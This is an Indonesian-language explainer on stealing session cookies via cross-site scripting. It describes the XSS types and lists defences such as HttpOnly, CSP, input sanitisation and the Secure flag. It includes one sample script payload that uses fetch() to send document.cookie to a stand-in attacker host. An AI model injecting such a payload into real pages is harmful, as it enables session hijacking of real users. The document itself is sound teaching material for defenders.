Pencurian cookie melalui Cross-Site Scripting (XSS) adalah serangan siber di mana penyerang menyuntikkan skrip berbahaya (biasanya JavaScript) ke dalam halaman web yang sah dan rentan. Ketika korban mengakses halaman tersebut, skrip penyerang dieksekusi di dalam peramban (browser) korban, memungkinkan penyerang membaca nilai cookie sesi, termasuk token autentikasi sensitif, lalu mengirimkannya ke server luar milik penyerang.
Ancaman ini sangat berbahaya karena cookie sesi yang berhasil dicuri dapat digunakan untuk melakukan pembajakan sesi (session hijacking), di mana penyerang dapat menyamar sebagai korban tanpa harus mengetahui kata sandi asli mereka. Serangan ini biasanya mengeksploitasi kelalaian dalam validasi input pengguna serta tidak diterapkannya proteksi keamanan pada atribut penyimpanan cookie.
Mekanisme Kerja Pencurian Cookie via XSS
Proses eksploitasi umumnya melalui tiga tahapan utama: injeksi kode, eksekusi di sisi klien, dan eksfiltrasi data. Penyerang memanfaatkan celah XSS (Stored, Reflected, atau DOM-based) untuk memasukkan kode JavaScript yang mengakses objek document.cookie.
| Jenis XSS | Vektor Injeksi | Target Korban |
|---|---|---|
| Stored XSS | Database (kolom komentar, profil) | Setiap pengunjung halaman tersebut |
| Reflected XSS | Parameter URL / Input Form | Pengguna yang mengklik tautan pancingan |
| DOM-based XSS | Manipulasi DOM di sisi klien | Pengguna yang memproses skrip lokal rentan |
Contoh Payload Sederhana
Berikut adalah contoh kode skrip berbahaya yang sering disuntikkan oleh penyerang untuk mencuri dan mengirimkan cookie sesi ke server kendali mereka:
<script>
fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>Jika aplikasi tidak mengamankan cookie dengan benar, skrip di atas akan membaca seluruh cookie yang tidak terlindungi dan mengirimkannya melalui permintaan HTTP GET ke domain penyerang.
Langkah Mitigasi dan Pencegahan Teknis
Untuk menghentikan celah pencurian cookie via XSS, pengembang web wajib menerapkan pertahanan berlapis di tingkat kode sumber maupun konfigurasi server:
- Gunakan Atribut HttpOnly: Setel bendera
HttpOnlypada cookie sesi. Hal ini membuat cookie tidak dapat diakses melalui skrip JavaScript sisi klien (document.cookie), sehingga aman meskipun situs mengalami kerentanan XSS. - Terapkan Content Security Policy (CSP): Header CSP yang ketat membatasi sumber eksekusi skrip dan mencegah pemuatan skrip dari domain eksternal yang tidak dikenal.
- Validasi dan Sanitasi Input: Lakukan penyaringan ketat terhadap semua data yang dimasukkan oleh pengguna sebelum disimpan atau ditampilkan kembali ke antarmuka web.
- Enkripsi dengan Secure Flag: Pastikan cookie sensitif hanya dikirim melalui jalur terenkripsi HTTPS dengan menyertakan atribut
Secure.